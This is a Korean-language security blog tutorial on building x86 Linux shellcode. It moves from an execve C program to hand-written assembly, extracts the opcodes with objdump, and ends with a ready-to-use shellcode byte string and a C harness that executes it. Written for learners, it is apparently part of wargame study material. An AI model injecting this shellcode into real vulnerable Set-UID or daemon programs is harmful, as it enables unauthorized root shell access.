- 쉘코드
함수의 return address를 임의의 주소로 변경할 경우 임의의 주소에 있는 프로그램을 실행시킬수 있다.
이때 프로그램이 Set-UID나 deamon으로 실행되고 있는 경우에 발생한다면 상당히 위험하다.
임의의 주소에 프로그램이 있으려면 프로그램이 실행되어 있어야 한다.
그 중 가장 강력한 기능을 가지는 shell을 실행시키는 작은 프로그램들을 일반적으로 쉘코드라고 부른다.
- 쉘코드 만드는 순서
(ㄱ) 배시쉘을 실행하는 C 코드의 구조 이해
(ㄴ) 함수의 사용법 확인
(ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
(ㄹ) 오브젝트 목적 코드 생성
(ㅁ) 실행 파일 생성
(ㅂ) objdump 프로그램을 이용해 OP Code를 추출
(ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
- 레지스터 용도
EAX 시스템 콜(system call) 함수 번호
EBX 첫번째 함수 인자
ECX 두번째 함수 인자
EDX 세번째 함수 인자
- (ㄴ) 함수의 사용법 확인
execve 로 쉘을 실행시킵니다.
# man execve
|
NAME execve - execute program SYNOPSIS #include <unistd.h> int execve(const char *filename, char *const argv [], char *const envp[]); |
|
- (ㄷ) 함수의 사용법에 따라 어셈블리어 코드 작성
어셈블리어로 작성하기 전 C언어 확인
# vi myshell.c
|
#include <stdio.h> int main() { char *bash[] = {"/bin/sh", 0}; execve(bash[0], &bash, 0); } |
|
# gcc -o myshell myshell.c
# ./myshell
> 잘 실행된다.
# cat /usr/include/asm/unistd.h | more
|
#ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 ....... |
|
> execve는 기존에 존재하는 것을 사용해야하기 때문에 호출 번호를 확인한다.
어셈블리언어로 코드 작성
# vi myshell.s
|
.global _start _start: xor %eax, %eax xor %edx, %edx push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %edx push %ebx mov %esp, %ecx movb $0x0B, %al int $0x80 |
|
|
.global _start _start: |
|
> C 언어에서 main과 같은 부분 형식
|
xor %eax, %eax xor %edx, %edx |
|
> xor은 다르면 1이다. 때문에 같은 값을 xor 한다는 것은 0으로 초기화 하는 과정이다.
|
push %eax push $0x68732f2f push $0x6e69622f mov %esp, %ebx |
|
execve(bash[0], &bash, 0);
> 젤 먼저 스택에 eax를 넣는다. ( 아까 0으로 초기화 했다. 어셈블리는 NULL까지 표시를 해야한다. )
> $0x68732f2f ( //sh ) 을 넣는다.
> $0x6e69622f ( /bin ) 을 넣는다.
> 주소를 ebx에 저장한다.
[참고] /bin//sh
/bin/sh 는 7 bytes로 4bytes씩 처리하는 어셈블리 언어에 적합하지 않다.
/bin//sh 는 /bin/sh와 같은 동작을 하고 8bytes 이기 때문에 /bin//sh를 사용한다.
$0x68732f2f
//sh = 2f2f7368 스택에는 거꾸로 68732f2f
057 47 2F /
163 115 73 s
156 110 6E n
151 105 69 i
|
push %edx push %ebx mov %esp, %ecx |
|
execve(bash[0], &bash, 0);
> 스택에 edx를 넣는다. ( 처음에 0으로 초기화 했었다. )
> ebx를 넣는다. ( 위에서 ebx는 /bin//sh의 주소를 저장했었다.)
> 주소를 ecx에 저장한다. ( ecx는 /bin//sh의 주소를 저장한다. )
|
movb $0x0B, %al int $0x80 |
|
> execve 호출한다. 0x0B (#define __NR_execve 11) 시스템 콜 번호 %al은 확장레지스터 0
> int %0x80 인터럽트를 호출한다. ( 실행 )
(스택 구조)
|
| | 낮은 주소 | | | | | 0xbfff0808 | <--- SP(0xbfff0810) | NULL | | /bin | <--- 0xbfff0808 | //sh | | NULL | | .... | | .... | +-----------------------+ 높은 주소 ----------------------------------------------- 레지스터 저장값 의미 ----------------------------------------------- EAX 0xB 정수11 EBX 0xbfff0808 &(/bin//sh) ECX 0xbfff0810 &(&(/bin//sh)) EDX 0 NULL ----------------------------------------------- |
|
- (ㄹ) 오브젝트 목적 코드 생성
# as myshell.s -o myshell.o
- (ㅁ) 실행파일 생성
# ld myshell.o -o myshell
# ./myshell
> 잘 실행된다.
- (ㅂ) objdump 프로그램을 이용해 OP Code를 추출
# objdump -d ./myshell
|
./myshell: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: 31 c0 xor %eax,%eax 8048076: 31 d2 xor %edx,%edx 8048078: 50 push %eax 8048079: 68 2f 2f 73 68 push $0x68732f2f 804807e: 68 2f 62 69 6e push $0x6e69622f 8048083: 89 e3 mov %esp,%ebx 8048085: 52 push %edx 8048086: 53 push %ebx 8048087: 89 e1 mov %esp,%ecx 8048089: b0 0b mov $0xb,%al 804808b: cd 80 int $0x80 |
|
- (ㅅ) 16진수로 문자열을 변경해 쉘코드 생성
31 c0 31 d2 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd 80
char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
- 쉘코드 실행
# vi myshellcode.c
|
#include <stdio.h> char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main() { (*(void (*)()) shellcode)(); } |
|
> 쉘코드를 실행하는 구문이므로 그냥 외우자
# gcc -o myshellcode myshellcode.c
- 왜 어셈블리어로 쉘코드를 만드는가?
쉘코드는 메모리상에 쉘을 실행하는 프로그램을 올려놓는 것이다. 이러한 방법으로 올려놓은 쉘은 작은 메모리를 가질 수록 유리하다.
짧으면 짧을 수록 작으면 작을 수록 좋다.
하지만 C언어로 만들게 된다면 쓸모 없는 구문이 굉장히 많이 추가되어 쉘코드가 길어진다.
'Security > 리버싱' 카테고리의 다른 글
Level11 문제 해결 (포맷 스트링 버그) (0) | 2017.12.05 |
---|---|
쉘코드(shellcode) 만들기 (kali Linux) (0) | 2017.12.04 |
포맷스트링 버그 (Format String Bug) (0) | 2017.12.01 |
Level10 분석 (공유 메모리) (0) | 2017.12.01 |
Level 10 문제 해결 (공유 메모리 해킹) (0) | 2017.12.01 |